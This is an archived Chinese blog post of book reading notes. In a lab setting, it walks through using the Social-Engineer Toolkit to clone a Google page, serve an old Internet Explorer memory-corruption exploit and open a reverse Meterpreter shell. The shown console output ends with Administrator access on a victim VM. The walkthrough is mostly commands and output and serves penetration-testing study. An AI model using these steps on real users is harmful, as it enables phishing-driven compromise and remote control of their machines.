高效作业管理方案:从布置到反馈的全流程优化
2026/8/7 3:34:12
[历史归档]本文原发布于 cstriker1407.info 个人博客,内容为历史存档,仅供参考。
发布时间:2014-06-01| 标题:某《魔鬼训练营》读书笔记:setoolkit生成漏洞网页|分类:操作系统 / 安全 |标签:metasploit·社会工程学·setoolkit·浏览器渗透
!!!笔记仅供学习交流使用,请勿进行其他用途!!!
setoolkit是一个非常有用的社会工程学工具,里面有很多工具,这里作者只笔记下其最简单的使用方法。
Welcome to the Social-Engineer Toolkit(SET). The one stop shopforall of your SE needs. Join us on irc.freenode.netinchannel#setoolkitThe Social-Engineer Toolkit is a product of TrustedSec. Visit: https://www.trustedsec.com Select from the menu:1)Social-Engineering Attacks 。。。。。。。 set>1#选项11)Spear-Phishing Attack Vectors2)Website Attack Vectors 。。。。。。。 set>2#选项21)Java Applet Attack Method2)Metasploit Browser Exploit Method 。。。。。。 set:webattack>2#选项2,直接生成渗透网页攻击浏览器1)Web Templates 。。。。。。。 set:webattack>1#简单起见,使用现有模板1. Java Required2. Google3. Facebook4. Twitter5. Yahoo set:webattack>Select a template:2#克隆googleEnter the browser exploit you would like to use[8]: 。。。。。。。33)Microsoft Internet Explorer iepeers.dll Use After Free(2010-03-09)34)Microsoft Internet Explorer"Aurora"Memory Corruption(2010-01-14)35)Microsoft Internet Explorer Tabular Data Control Exploit(2010-03-0)。。。。。。。 set:payloads>34#使用34号漏洞1)Windows Shell Reverse_TCP Spawn acommandshell on victim and send back to attacker2)Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker 。。。。。。。 set:payloads>2#Meterpreterset:payloads>Port to useforthe reverse[443]: 。。。。。。。[-]This may take a few to load MSF... 。。。。。。。 。。。。。。。 resource(/root/.set/meta_config)>exploit-j#可以看到,setoolkit自动启动Metasploit,然后生成后台任务[*]Exploit running as background job. msf exploit(ms09_002_memory_corruption)>[*]Started reverse handler on192.168.19.128:443[*]Using URL: http://0.0.0.0:8080/[*]Local IP: http://192.168.19.128:8080/[*]Server started. msf exploit(ms09_002_memory_corruption)>#当有IE浏览器浏览该漏洞网页时,会触发该漏洞[-]192.168.19.129 ms09_002_memory_corruption - Exception handling request: Connection reset by peer[*]192.168.19.129 ms09_002_memory_corruption - Sending Internet Explorer7CFunctionPointer Uninitialized Memory Corruption[*]192.168.19.129 ms09_002_memory_corruption - Sending Internet Explorer7CFunctionPointer Uninitialized Memory Corruption[*]Sending stage(769024bytes)to192.168.19.129[*]Meterpreter session1opened(192.168.19.128:443 ->192.168.19.129:1226)at2014-06-0123:26:09 +0800#session被打开了[*]Session ID1(192.168.19.128:443 ->192.168.19.129:1226)processing InitialAutoRunScript'migrate -f'[*]Current server process: IEXPLORE.EXE(1364)[*]Spawning notepad.exe process to migrate to[+]Migrating to572#meterpreter被自动转移到其他进程了[+]Successfully migrated to process msf exploit(ms09_002_memory_corruption)>sessions#查看sessionActive sessions===============Id Type Information Connection -- ---- ----------- ----------1meterpreter x86/win32 WINXP-PRO-VM\Administrator @ WINXP-PRO-VM192.168.19.128:443 ->192.168.19.129:1226(192.168.19.129)msf exploit(ms09_002_memory_corruption)>sessions-i1#交互[*]Starting interaction with1... meterpreter>getuid Server username: WINXP-PRO-VM\Administrator